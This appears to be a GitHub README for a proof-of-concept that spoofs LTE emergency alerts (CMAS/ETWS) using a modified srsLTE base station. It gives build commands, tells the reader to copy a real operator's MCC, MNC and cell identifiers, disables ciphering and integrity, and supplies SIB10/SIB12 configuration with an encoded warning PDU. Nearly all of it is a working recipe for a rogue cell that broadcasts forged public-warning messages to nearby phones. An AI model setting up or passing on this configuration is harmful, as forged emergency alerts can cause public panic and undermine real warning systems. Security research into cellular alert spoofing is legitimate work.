SitrakaResearchAndPOC / srsLTE_CMAS_ETWS_Hacking

2 stars 3 forks source link

srsLTE_CMAS_ETWS_Hacking

PROTOCOL FLOW

Conferences

INSTALLATION :

Apt install inspired at : https://docs.srsran.com/projects/4g/en/next/app_notes/source/pi4/source/index.html

SHOULD CONFIGURE NODEB AS EEAO AND EEIA AND ADDING SIB12 ON SIB1 MAPPING

sudo apt-get install build-essential cmake libfftw3-dev libmbedtls-dev libboost-program-options-dev libconfig++-dev libsctp-dev  
apt-get install git  
sudo apt-get install libuhd-dev libuhd3.15.0 uhd-host  
/usr/lib/uhd/utils/uhd_images_downloader.py  
git clone https://github.com/learning-lte/srsLTE_cmas_etws  
cd srsLTE_cmas_etws  
mkdir build  
cd build  
cmake ..  
make -j4  
make install  
ldconfig  
srslte_install_configs.sh service

CONFIG :

AT /etc/srslte/enb.conf
You need to configure enb_id, MCC, MNC and n_prb as same as operator

[enb]   

enb_id = 0x19B  

mcc = 001  

mnc = 01  

n_prb = 50  

NOTED : SRSRAN SUPPORT NOW MULTICELL SO TAC AND PCI IS NOT AT /etc/srslte/enb.conf
AT /etc/srslte/rr.conf
You need to configure tac and pci :

// Cells available for handover  

meas_cell_list =  

(  

  {  

    eci = 0x19C02;  

    dl_earfcn = 2850;  

    pci = 2;  

    //direct_forward_path_available = false;  

    //allowed_meas_bw = 6;  

    //cell_individual_offset = 0;  

  }  

);  

IMPORTANT CONFIG :

replace config at /etc/srslte/sib.conf as :
https://github.com/learning-lte/srsLTE_cmas_etws/commit/88775bb3bd133344a1b6f2248510a68b0ea9f547

sib10 =  
{  
    message_identifier = 0x1104;  
    serial_number = 0x3000;  
    warning_type = "0x580";  
}   

sib12 =  
{  
    message_identifier = 0x1112;  
    serial_number = 0x3000;  
    data_coding_scheme = 01;  
    warning_msg_segment_type = "lastSegment";  
    warning_msg_segment_num = 0;  
    warning_msg_segment_r9 = "01C576597E2EBBC7F950A8D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D1000A";   
 };  

GENERATING THIS PDU : 01C576597E2EBBC7F950A8D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D168341A8D46A3D1000A

COMPARING PDU AND FILE CONFIG OF SRSLTE

VS

IMPORTANT CODE

DOCUMENTATIONS